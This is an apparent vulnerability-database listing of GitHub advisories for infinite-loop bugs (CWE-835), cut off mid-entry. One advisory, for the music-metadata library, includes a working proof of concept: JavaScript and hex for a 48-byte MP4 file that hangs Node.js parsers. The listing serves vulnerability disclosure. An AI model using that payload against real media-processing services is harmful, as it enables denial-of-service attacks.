Common Weakness Enumeration

CWE-835

Allowed

Loop with Unreachable Exit Condition ('Infinite Loop')

Abstraction: Base · Status: Incomplete

API response cwe.mitre.org

The product contains an iteration or loop with an exit condition that cannot be reached, i.e., an infinite loop.

1253 vulnerabilities reference this CWE, most recent first.

GHSA-F6C4-GHC3-JW9F

Vulnerability from github – Published: 2023-04-17 21:30 – Updated: 2023-04-17 21:30
VLAI
Details

A vulnerability, which was classified as problematic, was found in InternalError503 Forget It up to 1.3. This affects an unknown part of the file js/settings.js. The manipulation of the argument setForgetTime with the input 0 leads to infinite loop. It is possible to launch the attack on the local host. Upgrading to version 1.4 is able to address this issue. The name of the patch is adf0c7fd59b9c935b4fd675c556265620124999c. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-226119.

Severity
2.8 (Low)
CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2015-10103"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2023-04-17T19:15:07Z",
    "severity": "LOW"
  },
  "details": "A vulnerability, which was classified as problematic, was found in InternalError503 Forget It up to 1.3. This affects an unknown part of the file js/settings.js. The manipulation of the argument setForgetTime with the input 0 leads to infinite loop. It is possible to launch the attack on the local host. Upgrading to version 1.4 is able to address this issue. The name of the patch is adf0c7fd59b9c935b4fd675c556265620124999c. It is recommended to upgrade the affected component. The associated identifier of this vulnerability is VDB-226119.",
  "id": "GHSA-f6c4-ghc3-jw9f",
  "modified": "2023-04-17T21:30:18Z",
  "published": "2023-04-17T21:30:18Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2015-10103"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternalError503/forget-it/commit/adf0c7fd59b9c935b4fd675c556265620124999c"
    },
    {
      "type": "WEB",
      "url": "https://github.com/InternalError503/forget-it/releases/tag/1.4"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?ctiid.226119"
    },
    {
      "type": "WEB",
      "url": "https://vuldb.com/?id.226119"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.0/AV:L/AC:L/PR:L/UI:R/S:U/C:N/I:N/A:L",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F6QG-RG6J-CXGF

Vulnerability from github – Published: 2024-11-11 21:31 – Updated: 2025-11-04 00:32
VLAI
Details

GNOME libsoup before 3.6.1 has an infinite loop, and memory consumption. during the reading of certain patterns of WebSocket data from clients.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2024-52532"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-11-11T20:15:20Z",
    "severity": "HIGH"
  },
  "details": "GNOME libsoup before 3.6.1 has an infinite loop, and memory consumption. during the reading of certain patterns of WebSocket data from clients.",
  "id": "GHSA-f6qg-rg6j-cxgf",
  "modified": "2025-11-04T00:32:02Z",
  "published": "2024-11-11T21:31:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2024-52532"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/issues/391"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/GNOME/libsoup/-/merge_requests/410"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.gnome.org/Teams/Releng/security/-/wikis/home"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2024/12/msg00014.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F72F-2CVP-G7X5

Vulnerability from github – Published: 2022-07-08 00:00 – Updated: 2022-07-19 00:00
VLAI
Details

An infinite loop in the function httpRpmPass of TP-Link TL-WR741N/TL-WR742N V1/V2/V3_130415 allows attackers to cause a Denial of Service (DoS) via a crafted packet.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-32058"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2022-07-07T19:15:00Z",
    "severity": "HIGH"
  },
  "details": "An infinite loop in the function httpRpmPass of TP-Link TL-WR741N/TL-WR742N V1/V2/V3_130415 allows attackers to cause a Denial of Service (DoS) via a crafted packet.",
  "id": "GHSA-f72f-2cvp-g7x5",
  "modified": "2022-07-19T00:00:27Z",
  "published": "2022-07-08T00:00:43Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-32058"
    },
    {
      "type": "WEB",
      "url": "https://github.com/whiter6666/CVE/blob/main/TP-Link%20TL-WR741NTL-WR742N%20.md"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F94X-6692-553Q

Vulnerability from github – Published: 2026-10-08 19:43 – Updated: 2026-10-08 19:43
VLAI
Summary
music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) — unreleased regression on master
Details

Summary

StsdAtom.get() in lib/mp4/AtomToken.ts parses an MP4 stsd (sample description) box's entry table by advancing a cursor with off += size - 4, where size is a 32-bit, attacker-controlled per-entry length read straight from the file. When size == 0, that advance is 0, so a file declaring a huge entry_count and a first entry size of 0 spins forever: same bytes read every iteration, no progress, no exit. Because StsdAtom.get runs synchronously inside strtok3's tokenizer, this doesn't just fail slowly — it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through parseBuffer, parseFile, parseStream, parseBlob, or parseWebStream.

This is currently unreleased — present on the master branch only, not in the latest npm release (11.14.0) or any earlier one. Reporting now, before it ships.

Details

lib/mp4/AtomToken.ts, StsdAtom.get():

for (let n = 0; n < header.numberOfEntries; ++n) {
  const size = Token.UINT32_BE.get(buf, off);   // attacker-controlled entry size
  off += Token.UINT32_BE.len;                    // +4 (skip the size field)
  table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));
  off += size - Token.UINT32_BE.len;             // net advance = size - 4
}
  • Introduced by commit d2a7d6f ("fix(mp4): locate each sample entry after the first correctly", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was off += size (correct advance, but it over-skipped the first entry — the actual bug PR #2693 was fixing). The fix changed it to off += size - 4 to correct the offset, but added no guard for size < 4.
  • With size == 0: net advance for the iteration is 4 + (0 - 4) = 0. off never moves. The loop re-reads the same 4 bytes as size on every pass, entry_count (also attacker-controlled, up to 0xFFFFFFFF) never runs out, and table.push(...) grows without bound on every iteration.
  • StsdAtom.get is invoked synchronously from strtok3's AbstractTokenizer.readToken — there is no await point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; table's unbounded growth means it will also eventually exhaust memory if not killed first.
  • The pre-fix code (off += size, no -4) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable FieldDecodingError rather than looping. That's why this is a regression introduced specifically by the -4 fix, not a pre-existing bug.

PoC

48-byte MP4 file: a 16-byte ftyp box + a 32-byte stsd box declaring entry_count = 0xFFFFFFFF with one sample entry whose size field is 0.

hex:    00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001
sha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80

This builds the malicious buffer inline:

import { parseBuffer } from 'music-metadata';

const ascii = (s) => [...s].map(c => c.charCodeAt(0) & 0xff);
const u32be = (n) => [(n >>> 24) & 0xff, (n >>> 16) & 0xff, (n >>> 8) & 0xff, n & 0xff];
const cat = (...a) => { const o = []; for (const x of a) o.push(...x); return o; };
const zeros = (n) => new Array(n).fill(0);

function build(entryCount, entrySize) {
  const ftyp = cat(u32be(16), ascii('ftyp'), ascii('M4A '), u32be(0));
  const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count
  const entry = cat(u32be(entrySize), ascii('mp4a'), zeros(6), [0, 1]); // size + 12-byte SampleEntry
  const payload = cat(stsdHeader, entry);
  const stsd = cat(u32be(8 + payload.length), ascii('stsd'), payload);
  return Uint8Array.from(cat(ftyp, stsd));
}

const hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0
console.log('parsing', hang.length, 'byte file …');
await parseBuffer(hang, { mimeType: 'audio/mp4' }); // never resolves — blocks the event loop
console.log('unreachable');

$ timeout 8 node poc.mjs
parsing 48 byte file …
# process is killed by `timeout` after 8s — never resolves, ~100% CPU the whole time

Control (benign input, entry_count = 1, same size = 0): rejects in 4 ms with a TypeError — the loop runs exactly once and terminates, confirming the hang is specific to the entry_count × size == 0 combination, not the size == 0 field alone.

Version-scope control (same 48-byte file against the latest npm release, music-metadata@11.14.0, which still has the pre-fix off += size): rejects in 4 ms with a FieldDecodingError — no hang. Confirms this is a master-only regression, not present in anything currently shipped.

Impact

Any application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern — media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call.

This is the same vulnerability class and CVSS vector as the project's own prior advisory, GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256 (ASF parser infinite loop, fixed in 11.12.1) — but a different sink (MP4 stsd, not ASF extension objects) and, notably, this one reaches every tokenizer backend rather than being spared by parseStream the way the ASF bug was, since the buffer here is already fully materialized in memory when StsdAtom.get runs.

Severity
6.2 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [
    {
      "package": {
        "ecosystem": "npm",
        "name": "music-metadata"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "11.16.0"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2026-107391"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-400",
      "CWE-835"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2026-10-08T19:43:25Z",
    "nvd_published_at": null,
    "severity": "MODERATE"
  },
  "details": "### Summary\n\n`StsdAtom.get()` in `lib/mp4/AtomToken.ts` parses an MP4 `stsd` (sample description) box\u0027s entry table by advancing a cursor with `off += size - 4`, where `size` is a 32-bit, attacker-controlled per-entry length read straight from the file. When `size == 0`, that advance is `0`, so a file declaring a huge `entry_count` and a first entry `size` of `0` spins forever: same bytes read every iteration, no progress, no exit. Because `StsdAtom.get` runs *synchronously* inside `strtok3`\u0027s tokenizer, this doesn\u0027t just fail slowly \u2014 it blocks the Node.js event loop entirely for the whole process. A 48-byte file is enough to hang any service that parses user-uploaded audio/video metadata through `parseBuffer`, `parseFile`, `parseStream`, `parseBlob`, or `parseWebStream`.\n\nThis is currently unreleased \u2014 present on the `master` branch only, not in the latest npm release (`11.14.0`) or any earlier one. Reporting now, before it ships.\n\n### Details\n\n`lib/mp4/AtomToken.ts`, `StsdAtom.get()`:\n\n```ts\nfor (let n = 0; n \u003c header.numberOfEntries; ++n) {\n  const size = Token.UINT32_BE.get(buf, off);   // attacker-controlled entry size\n  off += Token.UINT32_BE.len;                    // +4 (skip the size field)\n  table.push(new SampleDescriptionTable(size - Token.UINT32_BE.len).get(buf, off));\n  off += size - Token.UINT32_BE.len;             // net advance = size - 4\n}\n```\n\n- Introduced by commit `d2a7d6f` (\"fix(mp4): locate each sample entry after the first correctly\", merged via PR #2693, fixing issue #2691, 2026-08-03). Before that fix the code was `off += size` (correct advance, but it over-skipped the first entry \u2014 the actual bug PR #2693 was fixing). The fix changed it to `off += size - 4` to correct the offset, but added no guard for `size \u003c 4`.\n- With `size == 0`: net advance for the iteration is `4 + (0 - 4) = 0`. `off` never moves. The loop re-reads the same 4 bytes as `size` on every pass, `entry_count` (also attacker-controlled, up to `0xFFFFFFFF`) never runs out, and `table.push(...)` grows without bound on every iteration.\n- `StsdAtom.get` is invoked synchronously from `strtok3`\u0027s `AbstractTokenizer.readToken` \u2014 there is no `await` point inside the loop, so nothing yields back to the event loop. The process hangs at ~100% CPU until killed externally; `table`\u0027s unbounded growth means it will also eventually exhaust memory if not killed first.\n- The pre-fix code (`off += size`, no `-4`) does not hang on this input: it over-advances by 4 bytes each entry, and the corrupted second read throws a catchable `FieldDecodingError` rather than looping. That\u0027s why this is a *regression* introduced specifically by the `-4` fix, not a pre-existing bug.\n\n### PoC\n\n48-byte MP4 file: a 16-byte `ftyp` box + a 32-byte `stsd` box declaring `entry_count = 0xFFFFFFFF` with one sample entry whose `size` field is `0`.\n\n```\nhex:    00000010667479704d34412000000000000000207374736400000000ffffffff000000006d7034610000000000000001\nsha256: 69ee80747d0a7eda3a0d02f7270d6375c8e7f5ca2231a48be558c2e01c02dd80\n```\n\nThis builds the malicious buffer inline:\n\n```js\nimport { parseBuffer } from \u0027music-metadata\u0027;\n\nconst ascii = (s) =\u003e [...s].map(c =\u003e c.charCodeAt(0) \u0026 0xff);\nconst u32be = (n) =\u003e [(n \u003e\u003e\u003e 24) \u0026 0xff, (n \u003e\u003e\u003e 16) \u0026 0xff, (n \u003e\u003e\u003e 8) \u0026 0xff, n \u0026 0xff];\nconst cat = (...a) =\u003e { const o = []; for (const x of a) o.push(...x); return o; };\nconst zeros = (n) =\u003e new Array(n).fill(0);\n\nfunction build(entryCount, entrySize) {\n  const ftyp = cat(u32be(16), ascii(\u0027ftyp\u0027), ascii(\u0027M4A \u0027), u32be(0));\n  const stsdHeader = cat([0], [0, 0, 0], u32be(entryCount)); // version+flags+entry_count\n  const entry = cat(u32be(entrySize), ascii(\u0027mp4a\u0027), zeros(6), [0, 1]); // size + 12-byte SampleEntry\n  const payload = cat(stsdHeader, entry);\n  const stsd = cat(u32be(8 + payload.length), ascii(\u0027stsd\u0027), payload);\n  return Uint8Array.from(cat(ftyp, stsd));\n}\n\nconst hang = build(0xFFFFFFFF, 0); // entry_count = 0xFFFFFFFF, first entry size = 0\nconsole.log(\u0027parsing\u0027, hang.length, \u0027byte file \u2026\u0027);\nawait parseBuffer(hang, { mimeType: \u0027audio/mp4\u0027 }); // never resolves \u2014 blocks the event loop\nconsole.log(\u0027unreachable\u0027);\n```\n\n```\n$ timeout 8 node poc.mjs\nparsing 48 byte file \u2026\n# process is killed by `timeout` after 8s \u2014 never resolves, ~100% CPU the whole time\n```\n\nControl (benign input, `entry_count = 1`, same `size = 0`): rejects in 4 ms with a `TypeError` \u2014 the loop runs exactly once and terminates, confirming the hang is specific to the `entry_count` \u00d7 `size == 0` combination, not the `size == 0` field alone.\n\nVersion-scope control (same 48-byte file against the latest npm release, `music-metadata@11.14.0`, which still has the pre-fix `off += size`): rejects in 4 ms with a `FieldDecodingError` \u2014 no hang. Confirms this is a `master`-only regression, not present in anything currently shipped.\n\n### Impact\n\nAny application that parses user-uploaded or otherwise untrusted audio/video files for metadata (a common pattern \u2014 media libraries, upload pipelines, transcoding services) can be hung indefinitely by a single 48-byte attacker-supplied file, with no authentication and no special conditions required beyond the normal parse call. \n\nThis is the same vulnerability class and CVSS vector as the project\u0027s own prior advisory, **GHSA-v6c2-xwv6-8xf7 / CVE-2026-32256** (ASF parser infinite loop, fixed in 11.12.1) \u2014 but a different sink (MP4 `stsd`, not ASF extension objects) and, notably, this one reaches *every* tokenizer backend rather than being spared by `parseStream` the way the ASF bug was, since the buffer here is already fully materialized in memory when `StsdAtom.get` runs.",
  "id": "GHSA-f94x-6692-553q",
  "modified": "2026-10-08T19:43:25Z",
  "published": "2026-10-08T19:43:25Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/security/advisories/GHSA-f94x-6692-553q"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/pull/2734"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/commit/90a7d52c69e921a0b019592d887acd97b1c8b8a5"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/Borewit/music-metadata"
    },
    {
      "type": "WEB",
      "url": "https://github.com/Borewit/music-metadata/releases/tag/v11.16.0"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ],
  "summary": "music-metadata: MP4 stsd sample-entry size==0 causes a synchronous infinite loop (DoS) \u2014 unreleased regression on master"
}

GHSA-F98X-7M57-3XG7

Vulnerability from github – Published: 2022-05-13 01:13 – Updated: 2022-05-13 01:13
VLAI
Details

The pcnet_rdra_addr function in hw/net/pcnet.c in QEMU (aka Quick Emulator) allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) by setting the (1) receive or (2) transmit descriptor ring length to 0.

Severity
4.4 (Medium)
CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2016-7909"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2016-10-05T16:59:00Z",
    "severity": "MODERATE"
  },
  "details": "The pcnet_rdra_addr function in hw/net/pcnet.c in QEMU (aka Quick Emulator) allows local guest OS administrators to cause a denial of service (infinite loop and QEMU process crash) by setting the (1) receive or (2) transmit descriptor ring length to 0.",
  "id": "GHSA-f98x-7m57-3xg7",
  "modified": "2022-05-13T01:13:40Z",
  "published": "2022-05-13T01:13:40Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2016-7909"
    },
    {
      "type": "WEB",
      "url": "https://lists.debian.org/debian-lts-announce/2018/11/msg00038.html"
    },
    {
      "type": "WEB",
      "url": "https://lists.gnu.org/archive/html/qemu-devel/2016-09/msg07942.html"
    },
    {
      "type": "WEB",
      "url": "https://security.gentoo.org/glsa/201611-11"
    },
    {
      "type": "WEB",
      "url": "http://lists.opensuse.org/opensuse-updates/2016-12/msg00140.html"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/10/03/3"
    },
    {
      "type": "WEB",
      "url": "http://www.openwall.com/lists/oss-security/2016/10/03/6"
    },
    {
      "type": "WEB",
      "url": "http://www.securityfocus.com/bid/93275"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:H/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-F9VW-2HPV-H272

Vulnerability from github – Published: 2024-07-16 15:30 – Updated: 2024-07-17 21:31
VLAI
Details

In the Linux kernel, the following vulnerability has been resolved:

iavf: Fix hang during reboot/shutdown

Recent commit 974578017fc1 ("iavf: Add waiting so the port is initialized in remove") adds a wait-loop at the beginning of iavf_remove() to ensure that port initialization is finished prior unregistering net device. This causes a regression in reboot/shutdown scenario because in this case callback iavf_shutdown() is called and this callback detaches the device, makes it down if it is running and sets its state to __IAVF_REMOVE. Later shutdown callback of associated PF driver (e.g. ice_shutdown) is called. That callback calls among other things sriov_disable() that calls indirectly iavf_remove() (see stack trace below). As the adapter state is already __IAVF_REMOVE then the mentioned loop is end-less and shutdown process hangs.

The patch fixes this by checking adapter's state at the beginning of iavf_remove() and skips the rest of the function if the adapter is already in remove state (shutdown is in progress).

Reproducer: 1. Create VF on PF driven by ice or i40e driver 2. Ensure that the VF is bound to iavf driver 3. Reboot

[52625.981294] sysrq: SysRq : Show Blocked State [52625.988377] task:reboot state:D stack: 0 pid:17359 ppid: 1 f2 [52625.996732] Call Trace: [52625.999187] __schedule+0x2d1/0x830 [52626.007400] schedule+0x35/0xa0 [52626.010545] schedule_hrtimeout_range_clock+0x83/0x100 [52626.020046] usleep_range+0x5b/0x80 [52626.023540] iavf_remove+0x63/0x5b0 [iavf] [52626.027645] pci_device_remove+0x3b/0xc0 [52626.031572] device_release_driver_internal+0x103/0x1f0 [52626.036805] pci_stop_bus_device+0x72/0xa0 [52626.040904] pci_stop_and_remove_bus_device+0xe/0x20 [52626.045870] pci_iov_remove_virtfn+0xba/0x120 [52626.050232] sriov_disable+0x2f/0xe0 [52626.053813] ice_free_vfs+0x7c/0x340 [ice] [52626.057946] ice_remove+0x220/0x240 [ice] [52626.061967] ice_shutdown+0x16/0x50 [ice] [52626.065987] pci_device_shutdown+0x34/0x60 [52626.070086] device_shutdown+0x165/0x1c5 [52626.074011] kernel_restart+0xe/0x30 [52626.077593] __do_sys_reboot+0x1d2/0x210 [52626.093815] do_syscall_64+0x5b/0x1a0 [52626.097483] entry_SYSCALL_64_after_hwframe+0x65/0xca

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2022-48840"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2024-07-16T13:15:11Z",
    "severity": "MODERATE"
  },
  "details": "In the Linux kernel, the following vulnerability has been resolved:\n\niavf: Fix hang during reboot/shutdown\n\nRecent commit 974578017fc1 (\"iavf: Add waiting so the port is\ninitialized in remove\") adds a wait-loop at the beginning of\niavf_remove() to ensure that port initialization is finished\nprior unregistering net device. This causes a regression\nin reboot/shutdown scenario because in this case callback\niavf_shutdown() is called and this callback detaches the device,\nmakes it down if it is running and sets its state to __IAVF_REMOVE.\nLater shutdown callback of associated PF driver (e.g. ice_shutdown)\nis called. That callback calls among other things sriov_disable()\nthat calls indirectly iavf_remove() (see stack trace below).\nAs the adapter state is already __IAVF_REMOVE then the mentioned\nloop is end-less and shutdown process hangs.\n\nThe patch fixes this by checking adapter\u0027s state at the beginning\nof iavf_remove() and skips the rest of the function if the adapter\nis already in remove state (shutdown is in progress).\n\nReproducer:\n1. Create VF on PF driven by ice or i40e driver\n2. Ensure that the VF is bound to iavf driver\n3. Reboot\n\n[52625.981294] sysrq: SysRq : Show Blocked State\n[52625.988377] task:reboot          state:D stack:    0 pid:17359 ppid:     1 f2\n[52625.996732] Call Trace:\n[52625.999187]  __schedule+0x2d1/0x830\n[52626.007400]  schedule+0x35/0xa0\n[52626.010545]  schedule_hrtimeout_range_clock+0x83/0x100\n[52626.020046]  usleep_range+0x5b/0x80\n[52626.023540]  iavf_remove+0x63/0x5b0 [iavf]\n[52626.027645]  pci_device_remove+0x3b/0xc0\n[52626.031572]  device_release_driver_internal+0x103/0x1f0\n[52626.036805]  pci_stop_bus_device+0x72/0xa0\n[52626.040904]  pci_stop_and_remove_bus_device+0xe/0x20\n[52626.045870]  pci_iov_remove_virtfn+0xba/0x120\n[52626.050232]  sriov_disable+0x2f/0xe0\n[52626.053813]  ice_free_vfs+0x7c/0x340 [ice]\n[52626.057946]  ice_remove+0x220/0x240 [ice]\n[52626.061967]  ice_shutdown+0x16/0x50 [ice]\n[52626.065987]  pci_device_shutdown+0x34/0x60\n[52626.070086]  device_shutdown+0x165/0x1c5\n[52626.074011]  kernel_restart+0xe/0x30\n[52626.077593]  __do_sys_reboot+0x1d2/0x210\n[52626.093815]  do_syscall_64+0x5b/0x1a0\n[52626.097483]  entry_SYSCALL_64_after_hwframe+0x65/0xca",
  "id": "GHSA-f9vw-2hpv-h272",
  "modified": "2024-07-17T21:31:37Z",
  "published": "2024-07-16T15:30:48Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-48840"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/4477b9a4193b35eb3a8afd2adf2d42add2f88d57"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/80974bb730270199c6fcb189af04d5945b87e813"
    },
    {
      "type": "WEB",
      "url": "https://git.kernel.org/stable/c/b04683ff8f0823b869c219c78ba0d974bddea0b5"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:L/UI:N/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FCPC-64J2-96JC

Vulnerability from github – Published: 2026-09-16 21:32 – Updated: 2026-09-16 21:32
VLAI
Details

A vulnerability in the system rate-limiting process for syslog message 419002 of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause high CPU utilization on an affected device, resulting in a denial of service (DoS) condition.

This vulnerability is due to improper rate limiting for syslog message 419002. An attacker could exploit this vulnerability by sending a flood of TCP synchronization (SYN) packets to an affected device. A successful exploit could allow the attacker to cause high CPU utilization, resulting in performance degradation. 

Severity
8.6 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-20154"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-16T21:17:07Z",
    "severity": "HIGH"
  },
  "details": "A vulnerability in the system rate-limiting process for syslog message 419002 of Cisco Secure Firewall Adaptive Security Appliance (ASA) Software and Cisco Secure Firewall Threat Defense (FTD) Software could allow an unauthenticated, remote attacker to cause high CPU utilization on an affected device, resulting in a denial of service (DoS) condition.\n\nThis vulnerability is due to improper rate limiting for syslog message 419002. An attacker could exploit this vulnerability by sending a flood of TCP synchronization (SYN) packets to an affected device. A successful exploit could allow the attacker to cause high CPU utilization, resulting in performance degradation.\u0026nbsp;",
  "id": "GHSA-fcpc-64j2-96jc",
  "modified": "2026-09-16T21:32:49Z",
  "published": "2026-09-16T21:32:49Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-20154"
    },
    {
      "type": "WEB",
      "url": "https://sec.cloudapps.cisco.com/security/center/content/CiscoSecurityAdvisory/cisco-sa-asa-ftd-logging-dos-ZXXNesfN"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:C/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FF2C-72FW-M35J

Vulnerability from github – Published: 2026-09-29 12:31 – Updated: 2026-09-29 12:31
VLAI
Details

TTL file parser infinite loop in 4.6.0 to 4.6.8 allows denial of service

Severity
5.5 (Medium)
CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2026-95386"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2026-09-29T10:17:14Z",
    "severity": "MODERATE"
  },
  "details": "TTL file parser infinite loop in 4.6.0 to 4.6.8 allows denial of service",
  "id": "GHSA-ff2c-72fw-m35j",
  "modified": "2026-09-29T12:31:30Z",
  "published": "2026-09-29T12:31:30Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-95386"
    },
    {
      "type": "WEB",
      "url": "https://gitlab.com/wireshark/wireshark/-/work_items/21501"
    },
    {
      "type": "WEB",
      "url": "https://www.wireshark.org/security/wnpa-sec-2026-94.html"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:L/AC:L/PR:N/UI:R/S:U/C:N/I:N/A:H",
      "type": "CVSS_V3"
    }
  ]
}

GHSA-FF2C-WGR6-2P58

Vulnerability from github – Published: 2022-05-24 17:30 – Updated: 2024-03-21 03:33
VLAI
Details

** DISPUTED ** Trustwave ModSecurity 3.x through 3.0.4 allows denial of service via a special request. NOTE: The discoverer reports "Trustwave has signaled they are disputing our claims." The CVE suggests that there is a security issue with how ModSecurity handles regular expressions that can result in a Denial of Service condition. The vendor does not consider this as a security issue because1) there is no default configuration issue here. An attacker would need to know that a rule using a potentially problematic regular expression was in place, 2) the attacker would need to know the basic nature of the regular expression itself to exploit any resource issues. It's well known that regular expression usage can be taxing on system resources regardless of the use case. It is up to the administrator to decide on when it is appropriate to trade resources for potential security benefit.

Severity
7.5 (High)
CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:N/I:N/A:H
Show details on source website
To clipboard 

{
  "affected": [],
  "aliases": [
    "CVE-2020-15598"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-835"
    ],
    "github_reviewed": false,
    "github_reviewed_at": null,
    "nvd_published_at": "2020-10-06T14:15:00Z",
    "severity": "HIGH"
  },
